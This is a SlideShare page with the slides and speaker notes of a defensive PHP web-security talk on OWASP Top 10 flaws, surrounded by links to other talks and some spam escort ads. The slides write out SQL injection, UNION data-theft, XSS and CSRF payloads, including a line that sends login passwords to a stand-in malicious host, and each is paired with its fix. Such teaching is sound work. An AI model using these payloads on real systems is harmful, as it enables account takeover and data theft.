Releasing High Quality PHP Packages - ConFoo Montreal 2019
 
Debugging Effectively - ConFoo Montreal 2019
Debugging Effectively - ConFoo Montreal 2019Debugging Effectively - ConFoo Montreal 2019
Debugging Effectively - ConFoo Montreal 2019
 
Automating Deployments with Deployer - php[world] 2018
Automating Deployments with Deployer - php[world] 2018Automating Deployments with Deployer - php[world] 2018
Automating Deployments with Deployer - php[world] 2018
 
Releasing High-Quality Packages - php[world] 2018
Releasing High-Quality Packages - php[world] 2018Releasing High-Quality Packages - php[world] 2018
Releasing High-Quality Packages - php[world] 2018
 
Debugging Effectively - DrupalCon Nashville 2018
Debugging Effectively - DrupalCon Nashville 2018Debugging Effectively - DrupalCon Nashville 2018
Debugging Effectively - DrupalCon Nashville 2018
 
CommonMark: Markdown Done Right - ZendCon 2017
CommonMark: Markdown Done Right - ZendCon 2017CommonMark: Markdown Done Right - ZendCon 2017
CommonMark: Markdown Done Right - ZendCon 2017
 
Rise of the Machines: PHP and IoT - ZendCon 2017
Rise of the Machines: PHP and IoT - ZendCon 2017Rise of the Machines: PHP and IoT - ZendCon 2017
Rise of the Machines: PHP and IoT - ZendCon 2017
 
Debugging Effectively - All Things Open 2017
Debugging Effectively - All Things Open 2017Debugging Effectively - All Things Open 2017
Debugging Effectively - All Things Open 2017
 
Debugging Effectively - PHP UK 2017
Debugging Effectively - PHP UK 2017Debugging Effectively - PHP UK 2017
Debugging Effectively - PHP UK 2017
 
Debugging Effectively - SunshinePHP 2017
Debugging Effectively - SunshinePHP 2017Debugging Effectively - SunshinePHP 2017
Debugging Effectively - SunshinePHP 2017
 
Automating Your Workflow with Gulp.js - php[world] 2016
Automating Your Workflow with Gulp.js - php[world] 2016Automating Your Workflow with Gulp.js - php[world] 2016
Automating Your Workflow with Gulp.js - php[world] 2016
 
Rise of the Machines: PHP and IoT - php[world] 2016
Rise of the Machines: PHP and IoT - php[world] 2016Rise of the Machines: PHP and IoT - php[world] 2016
Rise of the Machines: PHP and IoT - php[world] 2016
 
Debugging Effectively - ZendCon 2016
Debugging Effectively - ZendCon 2016Debugging Effectively - ZendCon 2016
Debugging Effectively - ZendCon 2016
 
Debugging Effectively - DrupalCon Europe 2016
Debugging Effectively - DrupalCon Europe 2016Debugging Effectively - DrupalCon Europe 2016
Debugging Effectively - DrupalCon Europe 2016
 
CommonMark: Markdown done right - Nomad PHP September 2016
CommonMark: Markdown done right - Nomad PHP September 2016CommonMark: Markdown done right - Nomad PHP September 2016
CommonMark: Markdown done right - Nomad PHP September 2016
 
Debugging Effectively - Frederick Web Tech 9/6/16
Debugging Effectively - Frederick Web Tech 9/6/16Debugging Effectively - Frederick Web Tech 9/6/16
Debugging Effectively - Frederick Web Tech 9/6/16
 
Debugging Effectively
Debugging EffectivelyDebugging Effectively
Debugging Effectively
 
CommonMark: Markdown Done Right
CommonMark: Markdown Done RightCommonMark: Markdown Done Right
CommonMark: Markdown Done Right
 

Último

08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoffsammart93
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)wesley chun
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Evaluating the top large language models.pdf
Evaluating the top large language models.pdfEvaluating the top large language models.pdf
Evaluating the top large language models.pdfChristopherTHyatt
 

Último (20)

08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Evaluating the top large language models.pdf
Evaluating the top large language models.pdfEvaluating the top large language models.pdf
Evaluating the top large language models.pdf
 

Hacking Your Way to Better Security - PHP South Africa 2016

  • 1. Hacking Your Way To Better Security Colin O'Dell @colinodell
  • 2. Colin O’Dell @colinodell Lead Web Developer at Unleashed Technologies PHP developer since 2002 league/commonmark maintainer PHP 7 Upgrade Guide e-book author php[world] 2015 CtF winner
  • 3. Goals Explore several top security vulnerabilities from the perspective of an attacker. 1. Understand how to detect and exploit common vulnerabilities 2. Learn how to protect against those vulnerabilities
  • 4. Disclaimers 1.NEVER test systems that aren’t yours without explicit permission. 2.Examples in this talk are fictional, but the vulnerability behaviors shown are very real.
  • 6. OWASP Top 10 Regular publication by The Open Web Application Security Project Highlights the 10 most-critical web application security risks
  • 7.
  • 8.
  • 9. SQL Injection Modifying SQL statements to: Spoof identity Tamper with data Disclose hidden information
  • 10. SQL Injection Basics $value = $_REQUEST['value']; SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' "; $sql = "SELECT * FROM x WHERE y = '$value' "; $database->query($sql);
  • 12. Username Password Log In admin Invalid username or password. Please try again. password'
  • 14. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ $
  • 15. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ ~~ $
  • 18. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $
  • 19. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $ ~~~~~~~~
  • 20. ~~~~~~~~ SELECT * FROM users WHERE username = 'admin' AND password = '' test'; SELECT * FROM users WHERE username = 'admin' AND password = ''; SELECT * FROM users WHERE username = 'admin' AND password = '' OR (something that is true); SELECT * FROM users WHERE username = 'admin' AND (true); SELECT * FROM users WHERE username = 'admin';
  • 21. SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ' test
  • 22. SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ' test SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ~~~~~~~~~~~~~~~
  • 23. SELECT * FROM users WHERE username = 'admin' AND password = ' '; SELECT * FROM users WHERE username = 'admin' AND password = ' ';
  • 24. SELECT * FROM users WHERE username = 'admin' AND password = '' '; ' SELECT * FROM users WHERE username = 'admin' AND password = '' '; ~~~
  • 25. SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; ' ' SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; ~~~~~~~~~~~~~~
  • 26. SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' '; ' OR ' SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' ';
  • 27. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; ' OR '1'='1 SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
  • 29. Welcome Admin! Admin Menu: Give customer money Take money away Review credit card applications Close accounts
  • 31. Blind SQL Injection Invalid username or password. Please try again. Unknown error. Valid query (empty result) Invalid query Welcome Admin! Valid query (with result)
  • 32. Username Password Log In admin ' AND (SELECT id FROM user LIMIT 1) = '
  • 33. Username Password Log In admin ' AND (SELECT id FROM user LIMIT 1) = ' Unknown error. ErrorsQuery SELECT * FROM users WHERE username = 'admin' AND password = '' AND (SELECT id FROM user LIMIT 1) = '';
  • 34. Username Password Log In admin ' AND (SELECT id FROM user LIMIT 1) = ' ErrorsQuery MySQL error: Unknown table 'user'. Unknown error.
  • 35. Username Password Log In admin ' AND (SELECT id FROM users LIMIT 1) = ' ErrorsQuery MySQL error: Unknown table 'user'. Unknown error.
  • 36. Username Password Log In admin Invalid username or password. Please try again.
  • 38. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/123 SELECT * FROM books WHERE id = 123 $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => 'The Great Gatsby', 'author' => 'F. Scott Fitzgerald', 'price' => 9.75 }
  • 39. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 SELECT * FROM books WHERE id = 99999 $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { }
  • 40. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/????? SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  • 41. SQL UNION Query Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 Foo Bar 123 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Foo Bar 123 UNION
  • 42. SQL UNION Query Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 (SELECT) 1 1 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 (SELECT) 1 1 UNION
  • 43. SQL UNION Query Column 1 Column 2 Column 3 (empty) Column 1 Column 2 Column 3 (SELECT) 1 1 Column 1 Column 2 Column 3 (SELECT) 1 1 UNION
  • 44. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number FROM creditcards SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  • 45. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  • 46. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  • 47. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '4012-3456-7890-1234', 'author' => 1, 'price' => 1 }
  • 48. $val = $_REQUEST['value']; $sql = "SELECT * FROM x WHERE y = '$val' "; $database->query($sql); Protecting Against SQL Injection Block input with special characters
  • 49. Protecting Against SQL Injection Block input with special characters Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
  • 50. Protecting Against SQL Injection Block input with special characters Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
  • 51. Protecting Against SQL Injection Block input with special characters Escape user input Use prepared statements $mysqli = new mysqli("localhost", "user", "pass", "db"); $q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' "); $q->bind_param(1, $_REQUEST['value']); $q->execute(); Native PHP: ● mysqli ● pdo_mysql Frameworks / Libraries: ● Doctrine ● Eloquent ● Zend_Db
  • 52. Other Types of Injection NoSQL databases OS Commands LDAP Queries SMTP Headers
  • 53. XSS Cross-Site Scripting Injecting code into the webpage (for other users) • Execute malicious scripts • Hijack sessions • Install malware • Deface websites
  • 54. XSS Attack Basics $value = $_POST['value']; $value = $rssFeed->first->title; $value = db_fetch('SELECT x FROM table'); <?php echo $value ?> Raw code/script is injected onto a page
  • 55. XSS – Cross-Site Scripting Basics Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
  • 56. XSS – Cross-Site Scripting short.ly Paste a URL here Shorten
  • 57. XSS – Cross-Site Scripting short.ly http://www.colinodell.com Shorten
  • 58. XSS – Cross-Site Scripting short.ly http://www.colinodell.com Shorten Short URL: http://short.ly/b7fe9 Original URL:http://www.colinodell.com
  • 59. XSS – Cross-Site Scripting short.ly Please wait while we redirect you to http://www.colinodell.com
  • 60. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten
  • 61. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL: hello world! OK X
  • 62. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL:
  • 63. <p> Short URL: <a href="…">http://short.ly/3bs8a</a> </p> <p> Original URL: <a href="…"><script>alert('hello world!');</script></a> </p>
  • 64. XSS – Cross-Site Scripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten
  • 65. XSS – Cross-Site Scripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten Short URL: http://short.ly/3bs8a Original URL:
  • 66. XSS – Cross-Site Scripting short.ly Please wait while we redirect you to
  • 67. XSS – Cross-Site Scripting document.getElementById('login-form').action = 'http://malicious-site.com/steal-passwords.php';
  • 68. Protecting Against XSS Attacks $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo $value ?>
  • 69. Protecting Against XSS Attacks • Filter user input $value = strip_tags($_POST['value']); $value = strip_tags( db_fetch('SELECT value FROM table') ); $value = strip_tags($rssFeed->first->title); <?php echo $value ?>
  • 70. Protecting Against XSS Attacks • Filter user input • Escape user input $value = htmlspecialchars($_POST['value']); $value = htmlspecialchars( db_fetch('SELECT value FROM table') ); $value = htmlspecialchars($rssFeed->first->title); <?php echo $value ?> <script> &lt;script&gt; htmlspecialchars()
  • 71. Protecting Against XSS Attacks • Filter user input • Escape user input • Escape output $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo htmlspecialchars($value) ?>
  • 72. Protecting Against XSS Attacks • Filter user input • Escape user input • Escape output {{ some_variable }} {{ some_variable|raw }}
  • 73. CSRF Cross-Site Request Forgery Execute unwanted actions on another site which user is logged in to. • Change password • Transfer funds • Anything the user can do
  • 74. CSRF – Cross-Site Request Forgery Hi Facebook! I am colinodell and my password is *****. Welcome Colin! Here’s your news feed. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners.
  • 75. CSRF – Cross-Site Request Forgery Hi other website! Show me your homepage. Sure, here you go! Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
  • 76. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
  • 77. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Tell Facebook we want to change our password to hacked123 Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners.
  • 78. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Hi Facebook! Please change my password to hacked123. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. Done!
  • 79. CSRF – Cross-Site Request Forgery short.ly <img src="https://paypal.com/pay?email=me@evil.com&amt=9999"> Shorten
  • 80. CSRF – Cross-Site Request Forgery short.ly Please wait while we redirect you to X
  • 81. Protecting Against CSRF Attacks Use randomized CSRF tokens <input type="hidden" name="token" value="ao3i4yw90sae8rhsdrf"> 1. Generate a random string per user. 2. Store it in their session. 3. Add to form as hidden field. 4. Compare submitted value to session 1. Same token? Proceed. 2. Different/missing? Reject the request.
  • 82. Insecure Direct Object References Access & manipulate objects you shouldn’t have access to
  • 84. Insecure Direct Object References Beverly Coop
  • 89. Protecting Against Insecure Direct Object References Check permission on data input • URL / route parameters • Form field inputs • Basically anything that’s an ID • If they don’t have permission, show a 403 (or 404) page
  • 90. Protecting Against Insecure Direct Object References Check permission on data input Check permission on data output • Do they have permission to access this object? • Do they have permission to even know this exists? • This is not “security through obscurity”
  • 93. Sensitive Data Exposure - CHANGELOG
  • 94. Sensitive Data Exposure – composer.lock
  • 95. Sensitive Data Exposure – composer.lock
  • 97. Sensitive Data Exposure – robots.txt
  • 98. Private information that is stored, transmitted, or backed-up in clear text (or with weak encryption) • Customer information • Credit card numbers • Credentials Sensitive Data Exposure
  • 99. Security Misconfiguration & Components with Known Vulnerabilities Default accounts enabled; weak passwords • admin / admin Security configuration • Does SSH grant root access? • Are weak encryption keys used? Out-of-date software • Old versions with known issues • Are the versions exposed? • Unused software running (FTP server)
  • 100. Components with Known Vulnerabilities
  • 101. Components with Known Vulnerabilities
  • 102. Components with Known Vulnerabilities
  • 103. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date • Install critical updates immediately • Install other updates regularly
  • 104. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root • Files which provide version numbers • README, CHANGELOG, .git, composer.lock • Database credentials & API keys • Encryption keys
  • 105. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root Use strong encryption • Encrypt with a strong private key • Encrypt backups and data-in-transit • Use strong hashing techniques for passwords
  • 106. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root Use strong encryption Test your systems • Scan your systems with automated tools • Test critical components yourself • Automated tests • Manual tests
  • 107. Next Steps Test your own applications for vulnerabilities Learn more about security & ethical hacking Enter security competitions (like CtF) Stay informed
  • 109. Thanks! Slides & feedback: https://joind.in/19189 Colin O'Dell @colinodell

Notas del editor

  1. NO NAME YET
  2. 14 years For those who aren’t familiar, Capture the Flag is a security competition I’m not sharing this brag, but rather Showing you don’t have to be a professional security researcher or pentester to be knowledgeable about security In fact, I think it’s critically important that all developers... Especially in this day and age I’d like to share some of that security knowledge with you today
  3. “Goals of this intermediate-level talk”
  4. “Asking forgiveness is easier than asking for permission” Not if you’re in jail ---- I might mention some real sites, but none are actually vulnerable Just make it easier to explain things since you’re probably familiar with how they’re supposed to function OUTRO: So for this talk, we’re going to talk through several of the OWASP Top 10 vulnerabilities
  5. [CONT] So for this talk, we’re going to talk through several of the OWASP Top 10 vulnerabilities
  6. Non-profit organization Provide free articles, resources, and tools for web security [NEXT]
  7. Example
  8. Each risk is documented with a description, detailed examples, mitigation techniques, and references to other helpful resources
  9. [Quickly] #1 - You may notice this looks a lot like this one here… but with a little extra What if we could insert something other than “test” here – perhaps an “OR” condition that evaluates to TRUE? If so, that would cancel out the password check
  10. Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not directly visible to the attacker. Instead, you use SQL injections to basically ask yes/no questions and use the different site behaviors to obtain the answers.
  11. Syntax error - Single quote is missing its pair; query is structured differently than expected Table or column doesn’t exist If we know site is vulnerable and see this (#2), SQL injection almost worked Table and column names are valid Assertion failed SQL injection worked (definitely) Database and column names are valid Assertion succeeded or conditional bypassed So let’s abuse this to learn more about the database
  12. Let’s try to figure out table and column names Probably a user table
  13. Let’s try to figure out table and column names Probably a user table
  14. Let’s try to figure out table and column names Probably a user table
  15. Let’s try to figure out table and column names Probably a user table
  16. Different error, so table definitely exists Repeat this process to learn more
  17. But previous method is all guesswork What if… just show the data?
  18. OUTRO: So that’s the desired functionality But what if this site was vulnerable? What could we do? Well…
  19. Maybe we could somehow set the id to cause a SQL injection that ouputs other information we want. [CLICK TO ANIMATE] But how you ask? With the SQL UNION operator…
  20. CLICK TO ANIMATE EXPLANATION [Double-escape]
  21. OUTRO: Or better yet…
  22. NO EXAMPLE!
  23. [VISUAL EXAMPLE NEXT]
  24. So when the server sends the code, The browser runs it as-is Just like all other HTML/JS that intentionally runs
